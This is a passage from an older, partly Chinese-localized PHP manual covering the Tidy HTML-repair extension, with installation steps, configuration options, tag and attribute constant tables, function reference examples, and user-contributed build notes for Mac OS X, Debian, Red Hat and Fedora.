?>

参见

For more details please consult hosts_access(3) man page.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
TCP Wrappers Functions | 上一级 | Tidy Functions


Tidy Functions

PHP 手册
后退 前进

CXLV. Tidy Functions

简介

Tidy is a binding for the Tidy HTML clean and repair utility which allows you to not only clean and otherwise manipulate HTML documents, but also traverse the document tree.

需求

To use Tidy, you will need libtidy installed, available on the tidy homepage http://tidy.sourceforge.net/.

安装

Tidy is currently available for PHP 4.3.x and PHP 5 as a PECL extension from http://pecl.php.net/package/tidy.

注: Tidy 1.0 is just for PHP 4.3.x, while Tidy 2.0 is just for PHP 5.

If PEAR is available on your *nix-like system you can use the pear installer to install the tidy extension, by the following command: pear -v install tidy.

You can always download the tar.gz package and install tidy by hand:

例子 1. tidy install by hand in PHP 4.3.x

gunzip tidy-xxx.tgz
tar -xvf tidy-xxx.tar
cd tidy-xxx
phpize
./configure && make && make install

Windows users can download the extension dll php_tidy.dll from http://snaps.php.net/win32/PECL_STABLE/.

In PHP 5 you need only to compile using the --with-tidy option.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Tidy Configuration Options

Name | Default | Changeable | Changelog
tidy.default_config | "" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
tidy.clean_output | "0" | PHP_INI_PERDIR | Available since PHP 5.0.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

tidy.default_config string

Default path for tidy config file.

tidy.clean_output boolean

Turns on/off the output repairing by Tidy.

警告

Do not turn on tidy.clean_output if you are generating non-html content such as dynamic images.

资源类型

本扩展模块未定义任何资源类型。

预定义类

tidyNode

方法

  • tidyNode->hasChildren - Returns TRUE if the current node has childrens

  • tidyNode->hasSiblings - Returns TRUE if the current node has siblings

  • tidyNode->isAsp - Returns TRUE if the current node is ASP code

  • tidyNode->isComment - Returns TRUE if the current node is a comment

  • tidyNode->isHtml - Returns TRUE if the current node is HTML

  • tidyNode->isJste - Returns TRUE if the current node is JSTE

  • tidyNode->isPhp - Returns TRUE if the current node is PHP

  • tidyNode->isText - Returns TRUE if the current node is Text (no markup)

属性

  • value - the value of the node (e.g. the html text)

  • name - the name of the tag (e.g. html, a, etc..)

  • type - the type of the node (one of the constants above, e.g. TIDY_NODETYPE_PHP)

  • line* - the line where the node starts

  • column* - the column where the node starts

  • proprietary* - TRUE if the node refers to a proprietary tag

  • id - the ID of the tag (one of the constants above, e.g. TIDY_TAG_FRAME)

  • attribute - an array with the attributes of the current node, or NULL if there aren't any

  • child - an array with the child tidyNodes, or NULL if there aren't any

注: The properties marked with * are just available since PHP 5.1.0.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Each TIDY_TAG_XXX represents a HTML tag. For example, TIDY_TAG_A represents a <a href="XX">link</a> tag. Each TIDY_ATTR_XXX represents a HTML atribute. For example TIDY_ATTR_HREF would represent the href atribute in the previous example.

The following constants are defined:

表格 2. tidy tag constants

constant
TIDY_TAG_UNKNOWN
TIDY_TAG_A
TIDY_TAG_ABBR
TIDY_TAG_ACRONYM
TIDY_TAG_ALIGN
TIDY_TAG_APPLET
TIDY_TAG_AREA
TIDY_TAG_B
TIDY_TAG_BASE
TIDY_TAG_BASEFONT
TIDY_TAG_BDO
TIDY_TAG_BGSOUND
TIDY_TAG_BIG
TIDY_TAG_BLINK
TIDY_TAG_BLOCKQUOTE
TIDY_TAG_BODY
TIDY_TAG_BR
TIDY_TAG_BUTTON
TIDY_TAG_CAPTION
TIDY_TAG_CENTER
TIDY_TAG_CITE
TIDY_TAG_CODE
TIDY_TAG_COL
TIDY_TAG_COLGROUP
TIDY_TAG_COMMENT
TIDY_TAG_DD
TIDY_TAG_DEL
TIDY_TAG_DFN
TIDY_TAG_DIR
TIDY_TAG_DIV
TIDY_TAG_DL
TIDY_TAG_DT
TIDY_TAG_EM
TIDY_TAG_EMBED
TIDY_TAG_FIELDSET
TIDY_TAG_FONT
TIDY_TAG_FORM
TIDY_TAG_FRAME
TIDY_TAG_FRAMESET
TIDY_TAG_H1
TIDY_TAG_H2
TIDY_TAG_H3
TIDY_TAG_H4
TIDY_TAG_H5
TIDY_TAG_H6
TIDY_TAG_HEAD
TIDY_TAG_HR
TIDY_TAG_HTML
TIDY_TAG_I
TIDY_TAG_IFRAME
TIDY_TAG_ILAYER
TIDY_TAG_IMG
TIDY_TAG_INPUT
TIDY_TAG_INS
TIDY_TAG_ISINDEX
TIDY_TAG_KBD
TIDY_TAG_KEYGEN
TIDY_TAG_LABEL
TIDY_TAG_LAYER
TIDY_TAG_LEGEND
TIDY_TAG_LI
TIDY_TAG_LINK
TIDY_TAG_LISTING
TIDY_TAG_MAP
TIDY_TAG_MARQUEE
TIDY_TAG_MENU
TIDY_TAG_META
TIDY_TAG_MULTICOL
TIDY_TAG_NOBR
TIDY_TAG_NOEMBED
TIDY_TAG_NOFRAMES
TIDY_TAG_NOLAYER
TIDY_TAG_NOSAFE
TIDY_TAG_NOSCRIPT
TIDY_TAG_OBJECT
TIDY_TAG_OL
TIDY_TAG_OPTGROUP
TIDY_TAG_OPTION
TIDY_TAG_P
TIDY_TAG_PARAM
TIDY_TAG_PLAINTEXT
TIDY_TAG_PRE
TIDY_TAG_Q
TIDY_TAG_RP
TIDY_TAG_RT
TIDY_TAG_RTC
TIDY_TAG_RUBY
TIDY_TAG_S
TIDY_TAG_SAMP
TIDY_TAG_SCRIPT
TIDY_TAG_SELECT
TIDY_TAG_SERVER
TIDY_TAG_SERVLET
TIDY_TAG_SMALL
TIDY_TAG_SPACER
TIDY_TAG_SPAN
TIDY_TAG_STRIKE
TIDY_TAG_STRONG
TIDY_TAG_STYLE
TIDY_TAG_SUB
TIDY_TAG_TABLE
TIDY_TAG_TBODY
TIDY_TAG_TD
TIDY_TAG_TEXTAREA
TIDY_TAG_TFOOT
TIDY_TAG_TH
TIDY_TAG_THEAD
TIDY_TAG_TITLE
TIDY_TAG_TR
TIDY_TAG_TR
TIDY_TAG_TT
TIDY_TAG_U
TIDY_TAG_UL
TIDY_TAG_VAR
TIDY_TAG_WBR
TIDY_TAG_XMP

表格 3. tidy attribute constants

constant
TIDY_ATTR_UNKNOWN
TIDY_ATTR_ABBR
TIDY_ATTR_ACCEPT
TIDY_ATTR_ACCEPT_CHARSET
TIDY_ATTR_ACCESSKEY
TIDY_ATTR_ACTION
TIDY_ATTR_ADD_DATE
TIDY_ATTR_ALIGN
TIDY_ATTR_ALINK
TIDY_ATTR_ALT
TIDY_ATTR_ARCHIVE
TIDY_ATTR_AXIS
TIDY_ATTR_BACKGROUND
TIDY_ATTR_BGCOLOR
TIDY_ATTR_BGPROPERTIES
TIDY_ATTR_BORDER
TIDY_ATTR_BORDERCOLOR
TIDY_ATTR_BOTTOMMARGIN
TIDY_ATTR_CELLPADDING
TIDY_ATTR_CELLSPACING
TIDY_ATTR_CHAR
TIDY_ATTR_CHAROFF
TIDY_ATTR_CHARSET
TIDY_ATTR_CHECKED
TIDY_ATTR_CITE
TIDY_ATTR_CLASS
TIDY_ATTR_CLASSID
TIDY_ATTR_CLEAR
TIDY_ATTR_CODE
TIDY_ATTR_CODEBASE
TIDY_ATTR_CODETYPE
TIDY_ATTR_COLOR
TIDY_ATTR_COLS
TIDY_ATTR_COLSPAN
TIDY_ATTR_COMPACT
TIDY_ATTR_CONTENT
TIDY_ATTR_COORDS
TIDY_ATTR_DATA
TIDY_ATTR_DATAFLD
TIDY_ATTR_DATAPAGESIZE
TIDY_ATTR_DATASRC
TIDY_ATTR_DATETIME
TIDY_ATTR_DECLARE
TIDY_ATTR_DEFER
TIDY_ATTR_DIR
TIDY_ATTR_DISABLED
TIDY_ATTR_ENCODING
TIDY_ATTR_ENCTYPE
TIDY_ATTR_FACE
TIDY_ATTR_FOR
TIDY_ATTR_FRAME
TIDY_ATTR_FRAMEBORDER
TIDY_ATTR_FRAMESPACING
TIDY_ATTR_GRIDX
TIDY_ATTR_GRIDY
TIDY_ATTR_HEADERS
TIDY_ATTR_HEIGHT
TIDY_ATTR_HREF
TIDY_ATTR_HREFLANG
TIDY_ATTR_HSPACE
TIDY_ATTR_HTTP_EQUIV
TIDY_ATTR_ID
TIDY_ATTR_ISMAP
TIDY_ATTR_LABEL
TIDY_ATTR_LANG
TIDY_ATTR_LANGUAGE
TIDY_ATTR_LAST_MODIFIED
TIDY_ATTR_LAST_VISIT
TIDY_ATTR_LEFTMARGIN
TIDY_ATTR_LINK
TIDY_ATTR_LONGDESC
TIDY_ATTR_LOWSRC
TIDY_ATTR_MARGINHEIGHT
TIDY_ATTR_MARGINWIDTH
TIDY_ATTR_MAXLENGTH
TIDY_ATTR_MEDIA
TIDY_ATTR_METHOD
TIDY_ATTR_MULTIPLE
TIDY_ATTR_NAME
TIDY_ATTR_NOHREF
TIDY_ATTR_NORESIZE
TIDY_ATTR_NOSHADE
TIDY_ATTR_NOWRAP
TIDY_ATTR_OBJECT
TIDY_ATTR_OnAFTERUPDATE
TIDY_ATTR_OnBEFOREUNLOAD
TIDY_ATTR_OnBEFOREUPDATE
TIDY_ATTR_OnBLUR
TIDY_ATTR_OnCHANGE
TIDY_ATTR_OnCLICK
TIDY_ATTR_OnDATAAVAILABLE
TIDY_ATTR_OnDATASETCHANGED
TIDY_ATTR_OnDATASETCOMPLETE
TIDY_ATTR_OnDBLCLICK
TIDY_ATTR_OnERRORUPDATE
TIDY_ATTR_OnFOCUS
TIDY_ATTR_OnKEYDOWN
TIDY_ATTR_OnKEYPRESS
TIDY_ATTR_OnKEYUP
TIDY_ATTR_OnLOAD
TIDY_ATTR_OnMOUSEDOWN
TIDY_ATTR_OnMOUSEMOVE
TIDY_ATTR_OnMOUSEOUT
TIDY_ATTR_OnMOUSEOVER
TIDY_ATTR_OnMOUSEUP
TIDY_ATTR_OnRESET
TIDY_ATTR_OnROWENTER
TIDY_ATTR_OnROWEXIT
TIDY_ATTR_OnSELECT
TIDY_ATTR_OnSUBMIT
TIDY_ATTR_OnUNLOAD
TIDY_ATTR_PROFILE
TIDY_ATTR_PROMPT
TIDY_ATTR_RBSPAN
TIDY_ATTR_READONLY
TIDY_ATTR_REL
TIDY_ATTR_REV
TIDY_ATTR_RIGHTMARGIN
TIDY_ATTR_ROWS
TIDY_ATTR_ROWSPAN
TIDY_ATTR_RULES
TIDY_ATTR_SCHEME
TIDY_ATTR_SCOPE
TIDY_ATTR_SCROLLING
TIDY_ATTR_SELECTED
TIDY_ATTR_SHAPE
TIDY_ATTR_SHOWGRID
TIDY_ATTR_SHOWGRIDX
TIDY_ATTR_SHOWGRIDY
TIDY_ATTR_SIZE
TIDY_ATTR_SPAN
TIDY_ATTR_SRC
TIDY_ATTR_STANDBY
TIDY_ATTR_START
TIDY_ATTR_STYLE
TIDY_ATTR_SUMMARY
TIDY_ATTR_TABINDEX
TIDY_ATTR_TARGET
TIDY_ATTR_TEXT
TIDY_ATTR_TITLE
TIDY_ATTR_TOPMARGIN
TIDY_ATTR_TYPE
TIDY_ATTR_USEMAP
TIDY_ATTR_VALIGN
TIDY_ATTR_VALUE
TIDY_ATTR_VALUETYPE
TIDY_ATTR_VERSION
TIDY_ATTR_VLINK
TIDY_ATTR_VSPACE
TIDY_ATTR_WIDTH
TIDY_ATTR_WRAP
TIDY_ATTR_XML_LANG
TIDY_ATTR_XML_SPACE
TIDY_ATTR_XMLNS

表格 4. tidy nodetype constants

constant | description
TIDY_NODETYPE_ROOT | root node
TIDY_NODETYPE_DOCTYPE | doctype
TIDY_NODETYPE_COMMENT | HTML comment
TIDY_NODETYPE_PROCINS | Processing Instruction
TIDY_NODETYPE_TEXT | Text
TIDY_NODETYPE_START | start tag
TIDY_NODETYPE_END | end tag
TIDY_NODETYPE_STARTEND | empty tag
TIDY_NODETYPE_CDATA | CDATA
TIDY_NODETYPE_SECTION | XML section
TIDY_NODETYPE_ASP | ASP code
TIDY_NODETYPE_JSTE | JSTE code
TIDY_NODETYPE_PHP | PHP code
TIDY_NODETYPE_XMLDECL | XML declaration

范例

This simple example shows basic Tidy usage.

例子 2. Basic Tidy usage

<?php
ob_start();
?>
<html>a html document</html>
<?
$html = ob_get_clean();

// Specify configuration
$config = array(
           'indent'         => true,
           'output-xhtml'   => true,
           'wrap'           => 200);

// Tidy
$tidy = new tidy;
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();

// Output
echo $tidy;
?>

目录
ob_tidyhandler -- ob_start callback function to repair the buffer
tidy_access_count -- Returns the Number of Tidy accessibility warnings encountered for specified document
tidy_clean_repair -- Execute configured cleanup and repair operations on parsed markup
tidy_config_count -- Returns the Number of Tidy configuration errors encountered for specified document
tidy::__construct -- Constructs a new tidy object
tidy_diagnose -- Run configured diagnostics on parsed and repaired markup
tidy_error_count -- Returns the Number of Tidy errors encountered for specified document
tidy_get_body -- Returns a tidyNode Object starting from the <body> tag of the tidy parse tree
tidy_get_config -- Get current Tidy configuration
tidy_get_error_buffer -- Return warnings and errors which occurred parsing the specified document
tidy_get_head -- Returns a tidyNode Object starting from the <head> tag of the tidy parse tree
tidy_get_html_ver -- Get the Detected HTML version for the specified document
tidy_get_html -- Returns a tidyNode Object starting from the <html> tag of the tidy parse tree
tidy_get_opt_doc -- Returns the documentation for the given option name
tidy_get_output -- Return a string representing the parsed tidy markup
tidy_get_release -- Get release date (version) for Tidy library
tidy_get_root -- Returns a tidyNode object representing the root of the tidy parse tree
tidy_get_status -- Get status of specified document
tidy_getopt -- Returns the value of the specified configuration option for the tidy document
tidy_is_xhtml -- Indicates if the document is a XHTML document
tidy_is_xml -- Indicates if the document is a generic (non HTML/XHTML) XML document
tidy_load_config -- Load an ASCII Tidy configuration file with the specified encoding
tidy_node->get_attr -- Return the attribute with the provided attribute id
tidy_node->get_nodes -- Return an array of nodes under this node with the specified id
tidy_node->next -- Returns the next sibling to this node
tidy_node->prev -- Returns the previous sibling to this node
tidy_parse_file -- Parse markup in file or URI
tidy_parse_string -- Parse a document stored in a string
tidy_repair_file -- Repair a file and return it as a string
tidy_repair_string -- Repair a string using an optionally provided configuration file
tidy_reset_config -- Restore Tidy configuration to default values
tidy_save_config -- Save current settings to named file
tidy_set_encoding -- Set the input/output character encoding for parsing markup
tidy_setopt -- Updates the configuration settings for the specified tidy document
tidy_warning_count -- Returns the Number of Tidy warnings encountered for specified document
tidyNode->hasChildren -- Returns true if this node has children
tidyNode->hasSiblings -- Returns true if this node has siblings
tidyNode->isAsp -- Returns true if this node is ASP
tidyNode->isComment -- Returns true if this node represents a comment
tidyNode->isHtml -- Returns true if this node is part of a HTML document
tidyNode->isJste -- Returns true if this node is JSTE
tidyNode->isPhp -- Returns true if this node is PHP
tidyNode->isText -- Returns true if this node represents text (no markup)

add a note add a note User Contributed Notes
Paul Cook
11-Apr-2006 11:25
To get libtidy and PHP 5.0.5 compiled on OS X Tiger this is what I needed to do:

1) download and upack the tidy source.
2) cd tidy-source-dir
3) >> /bin/sh build/gnuauto/setup.sh
4) then you can configure/make/make install as normal

PHP build generates errors because of tidy so I needed to edit the platform.h file like this (use your favorite command line editor):

5) >> sudo emacs /usr/local/include/platform.h
6) comment out line 508 which was causing the 'duplicate "unsigned" ' error in the PHP build.

7) configure/make/make install PHP as normal using --with-tidy=/usr/local

Restart apache and everything works now.  HTH someone.
patatraboum at nospam dot fr
26-Feb-2006 02:13
<?php
//
//The tidy tree of your favorite !
//For PHP 5 (CGI)
//Thanks to john@php.net
//
$file="http://www.php.net";
//
$cns=get_defined_constants(true);
$tidyCns=array("tags"=>array(),"types"=>array());
foreach($cns["tidy"] as $cKey=>$cVal){
   if($cPos=strpos($cKey,$cStr="TAG")) $tidyCns["tags"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
   elseif($cPos=strpos($cKey,$cStr="TYPE")) $tidyCns["types"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
}
$tidyNext=array();
//
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1252'><title>Tidy Tree :: $file</title></head>";
echo "<body><pre>";
//
tidyTree(tidy_get_root(tidy_parse_file($file)),0);
//
function tidyTree($tidy,$level){
   global $tidyCns,$tidyNext;
   $tidyTab=array();
   $tidyKeys=array("type","value","id","attribute");
   foreach($tidy as $pKey=>$pVal){
       if(in_array($pKey,$tidyKeys)) $tidyTab[array_search($pKey,$tidyKeys)]=$pVal;
   }
   ksort($tidyTab);
   foreach($tidyTab as $pKey=>$pVal){
       switch($pKey){
           case 0 :
               if($pVal==4) $value=true; else $value=false;
               echo indent(true,$level).$tidyCns["types"][$pVal]."\n"; break;
           case 1 :
               if($value){
                   echo indent(false,$level)."VALEUR : ".str_replace("\n","\n".indent(false,$level),$pVal)."\n";
               }
               break;
           case 2 :
               echo indent(false,$level).$tidyCns["tags"][$pVal]."\n"; break;
           case 3 :
               if($pVal!=NULL){
                   echo indent(false,$level)."ATTRIBUTS : ";
                   foreach ($pVal as $aKey=>$aVal) echo "$aKey=$aVal "; echo "\n";
               }
       }
   }
   if($tidy->hasChildren()){
       $level++; $i=0;
       $tidyNext[$level]=true;
       echo indent(false,$level)."\n";
       foreach($tidy->child as $child){
           $i++;
           if($i==count($tidy->child)) $tidyNext[$level]=false;
           tidyTree($child,$level);
       }
   }
   else echo indent(false,$level)."\n";
}
//
function indent($tidyType,$level){
   global $tidyNext;
   $indent="";
   for($i=1;$i<=$level;$i++){
       if($i<$level||!$tidyType){
           if($tidyNext[$i]) $str="|  "; else $str="  ";
       }
       else $str="+--";
       $indent=$indent.$str;
   }
   return $indent;
}
//
echo "</pre></body></html>";
//
?>
tonygambone at gNOSPAMmail dot com
07-Feb-2006 12:03
Using PHP 5.1.2 on Win32/IIS, I noticed that even with "output-xhtml: yes," tidy was adding the deprecated name attribute to form tags (using the value of the id attribute).  Grabbing the latest dll from the snaps link at the top of the page fixed this.
tom at expresshosting dot net
24-Aug-2005 01:50
It should be noted that the examples on this page apply ONLY to PHP5. None of the functions in the manual apply to PHP4. The names are the same but arguments are different on some of them (tidy_parse_string).

If you wish to use tidy in PHP 4.3.x you can use the following example instead:

<?php

$tidyhtml = ob_get_contents();
if( function_exists( 'tidy_parse_string' ) ) {
       tidy_set_encoding('iso-8859-1');
       tidy_parse_string($tidyhtml);
       tidy_setopt('output-xhtml', TRUE);
       tidy_setopt('indent', TRUE);
       tidy_setopt('indent-spaces', 2);
       tidy_setopt('wrap', 200);
       tidy_clean_repair();
       $tidyhtml = tidy_get_output();
}
ob_end_clean();

echo $tidyhtml;

?>

Hope that helps somebody.
19-Feb-2005 07:47
There is a HTML/XHTML validator based on tidy at http://validator.aborla.net/

It is released under LGPL.
mohan at asix dot com dot my
11-Feb-2005 04:23
To those who need to install libtidy on mac os x , here is a guide that worked for me :

If you're on Mac OS X, you'll need to tell the Makefile that you use
ranlib:

   $ export set RANLIB=ranlib

Change to the directory with the Makefile in it, and run make.
This example uses the GNU make Makefile.

   $ cd tidy/build/gmake/

   $ make
   if [ ! -d ./obj ]; then mkdir ./obj; fi
   gcc -o obj/access.o ...
   ... etc etc etc ...

Install the libs, headers and the tidy executable:

   $ sudo make install

If you're on Mac OS X, you'll have to run ranlib again on the installed
lib:

   $ sudo ranlib /usr/local/lib/libtidy.a
Jon Dowland (bugs at alcopop dot org)
01-Feb-2005 07:40
Rough installation instructions for debian/testing:

Use debian's apt package manager to install the required development packages

$ apt-get install php4-dev php4-pear libtidy-dev

Then use pear to install tidy

$ pear install tidy

Note: I did /not/ have success installing the tarball locally. Only using this method was the .so put in the correct place.

I also had to add an entry to the php.ini

$ echo extension=tidy.so >> /etc/php4/apache/php.ini
$ apachectl restart

...and you're done.
14-Jan-2005 03:20
Just in case anyone else has been having problems using the tidy extension in *PHP4 v4.3.10. Here is a working example:

$html = '<HTML><HEAD></HEAD><BODY>Hello World</BODY></HTML>';
$config = array('indent'=> TRUE,
               'output-xhtml' => TRUE,
               'wrap' => 80);
tidy_set_encoding('UTF8');
foreach ($config as $key => $value) {
   tidy_setopt($key,$value);
}
tidy_parse_string($html);
tidy_clean_repair();
echo tidy_get_output();

Resultant HTML should be similar to:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
Hello World
</body>
</html>
doodleelephant
16-Nov-2004 09:34
I'm installing PHP 5.0.2 on Redhat Linux (I forget the version. Enterprise WS 3 I think) I had troubles installing the libtidy. It consistently complained that it could not find 'libtidy'. I finally got a clue into how to install it (in build/gnuauto/readme.txt). This is how I finally got it to install (after lots of trial and error):

First, don't get the binary distribution of of tidy.sf.net. It's not what you want. You need the source distribution.

Command by command this is what I did:
=======

wget http://tidy.sourceforge.net/src/tidy_src.tgz
tar -xzf tidy_src.tgz
cd tidy
/bin/sh build/gnuauto/setup.sh
./configure --prefix=/usr
make
make install
cd [php source directory]
./configure --with-tidy=/usr --[other extensions]
make
make install

=======
Tada. Finally it doesn't complain when I configure PHP about the installation. The info I needed was stuck in that build/gnuauto/readme.txt file in the tidy directory.

Took me a while. Hope my trials can help others save time.

Doodleelephant
bill dot mccuistion at qbopen dot com
30-Oct-2004 01:53
Installing tidy on Fedora Core 2 required three libraries:

tidy...
tidy-devel...
libtidy...

All of which I found at http://rpm.pbone.net

Then, finally, could "./configure --with-tidy"

Hope this helps someone out.  This was "REALLY" hard (for me) to figure out as no where else was clearly documented.
add a note add a note

后退 | 起点 | 前进
tcpwrap_check | 上一级 | ob_tidyhandler


ob_tidyhandler

(PHP 5)

ob_tidyhandler -- ob_start callback function to repair the buffer

Description

string ob_tidyhandler ( string input [, int mode] )

ob_tidyhandler() is intended to be used as a callback function for ob_start() to repair the buffer.

例子 1. ob_tidyhandler() example

<?php
ob_start('ob_tidyhandler');

echo '<p>test</i>';
?>

上例将输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

See also ob_start().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Tidy Functions | 上一级 | tidy_access_count


tidy_access_count

(PHP 5)

tidy_access_count -- Returns the Number of Tidy accessibility warnings encountered for specified document

Description

int tidy_access_count ( tidy object )

tidy_access_count() returns the number of accessibility warnings found for the specified document.

注: Due to the design of the TidyLib, you must call tidy_diagnose() before tidy_access_count() or it will return always 0. You must also need to enable the accessibility-check option.

例子 1. tidy_access_count() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

// select the accessibility check level: 1, 2 or 3
$config = array('accessibility-check' => 3);

$tidy = new tidy();
$tidy->parseString($html, $config);
$tidy->CleanRepair();

/* Never forget to call this! */
$tidy->diagnose();

echo tidy_access_count($tidy); //5

?>

See also tidy_error_count() and tidy_warning_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ob_tidyhandler | 上一级 | tidy_clean_repair


tidy_clean_repair

(PHP 5)

tidy_clean_repair -- Execute configured cleanup and repair operations on parsed markup

Description

Procedural style:

bool tidy_clean_repair ( tidy object )

Object oriented style:

bool tidy->cleanRepair ( void )

This function cleans and repairs the given tidy object.

例子 1. tidy_clean_repair() example

<?php
$html = '<p>test</I>';

$tidy = tidy_parse_string($html);
tidy_clean_repair($tidy);

echo $tidy;
?>

上例将输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

See also tidy_repair_file() and tidy_repair_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_access_count | 上一级 | tidy_config_count


tidy_config_count

(PHP 5)

tidy_config_count -- Returns the Number of Tidy configuration errors encountered for specified document

Description

int tidy_config_count ( tidy object )

tidy_config_count() returns the number of errors encountered in the configuration of the specified tidy object.

例子 1. tidy_config_count() example

<?php
$html = '<p>test</I>';

$config = array('doctype' => 'bogus');

$tidy = tidy_parse_string($html, $config);

/* This outputs 1, because 'bogus' isn't a valid doctype */
echo tidy_config_count($tidy);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_clean_repair | 上一级 | tidy::__construct


tidy::__construct

(no version information, might be only in CVS)

tidy::__construct -- Constructs a new tidy object

Description

tidy tidy::__construct ( [string filename [, mixed config [, string encoding [, bool use_include_path]]]] )

tidy::__construct() constructs a new tidy object.

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config 参数可以以数组或者字符串方式传递。如果以字符串传递，则代表配置文件名，否则就解释为选项本身。每个选项的解释见 http://tidy.sourceforge.net/docs/quickref.html。

encoding 参数设置了输入／输出文档的编码方式。encoding 的可能值有：ascii，latin0，latin1，raw，utf8，iso2022，mac，win1252，ibm858，utf16，utf16le，utf16be，big5 和 shiftjis。

例子 1. tidy::__construct() example

<?php

$html = <<< HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <bt />
text</p>
</body></html>

HTML;

$tidy = new tidy;
$tidy->parseString($html);

$tidy->CleanRepair();

if ($tidy->errorBuffer) {
    echo "The following errors were detected:\n";
    echo $tidy->errorBuffer;
}

?>

上例将输出：

The following errors were detected:
line 8 column 14 - Error: <bt> is not recognized!
line 8 column 14 - Warning: discarding unexpected <bt>

See also tidy_parse_file() and tidy_parse_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_config_count | 上一级 | tidy_diagnose


tidy_diagnose

(PHP 5)

tidy_diagnose -- Run configured diagnostics on parsed and repaired markup

Description

Procedural style:

bool tidy_diagnose ( tidy object )

Object oriented style:

bool tidy->diagnose ( void )

tidy_diagnose() runs diagnostic tests on the given tidy object, adding some more information about the document in the error buffer.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. tidy_diagnose() example

<?php

$html = <<< HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<p>paragraph</p>
HTML;

$tidy = tidy_parse_string($html);
$tidy->CleanRepair();

// note the difference between the two outputs
echo tidy_get_error_buffer($tidy) . "\n";

$tidy->diagnose();
echo tidy_get_error_buffer($tidy);

?>

上例将输出：

line 5 column 1 - Warning: <p> isn't allowed in <head> elements
line 5 column 1 - Warning: inserting missing 'title' element

line 5 column 1 - Warning: <p> isn't allowed in <head> elements
line 5 column 1 - Warning: inserting missing 'title' element
Info: Doctype given is "-//W3C//DTD XHTML 1.0 Strict//EN"
Info: Document content looks like XHTML 1.0 Strict
2 warnings, 0 errors were found!

See also tidy_get_error_buffer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy::__construct | 上一级 | tidy_error_count


tidy_error_count

(PHP 5)

tidy_error_count -- Returns the Number of Tidy errors encountered for specified document

Description

int tidy_error_count ( tidy object )

tidy_error_count() returns the number of Tidy errors encountered for the specified document.

例子 1. tidy_error_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1

echo $tidy->ErrorBuffer;
?>

上例将输出：

1
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 8 - Warning: discarding unexpected </i>
line 2 column 1 - Error: <bogustag> is not recognized!
line 2 column 1 - Warning: discarding unexpected <bogustag>
line 2 column 16 - Warning: discarding unexpected </bogustag>
line 1 column 1 - Warning: inserting missing 'title' element

See also tidy_access_count() and tidy_warning_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_diagnose | 上一级 | tidy_get_body


tidy_get_body

(PHP 5)

tidy_get_body -- Returns a tidyNode Object starting from the <body> tag of the tidy parse tree

Description

Procedural style:

tidyNode tidy_get_body ( tidy object )

Object oriented style:

tidyNode tidy->body ( void )

This function returns a tidyNode object starting from the <body> tag of the tidy parse tree.

例子 1. tidy_get_body() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$body = tidy_get_body($tidy);
echo $body->value;
?>

上例将输出：

<body>
<p>paragraph</p>
</body>

注: 本函数仅能用于 Zend Engine 2，这意味着 PHP >= 5.0.0。

See also tidy_get_head() and tidy_get_html().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_error_count | 上一级 | tidy_get_config


tidy_get_config

(PHP 5)

tidy_get_config -- Get current Tidy configuration

Description

Procedural style:

array tidy_get_config ( tidy object )

Object oriented style:

array tidy->getConfig ( void )

tidy_get_config() returns an array with the configuration options in use by the given tidy object.

For an explanation about each option, visit http://tidy.sourceforge.net/docs/quickref.html.

例子 1. tidy_get_config() example

<?php
$html = '<p>test</p>';
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($html, $config);

print_r(tidy_get_config($tidy));
?>

上例将输出：

Array
(
    [indent-spaces] => 2
    [wrap] => 200
    [tab-size] => 8
    [char-encoding] => 1
    [input-encoding] => 3
    [output-encoding] => 1
    [newline] => 1
    [doctype-mode] => 1
    [doctype] =>
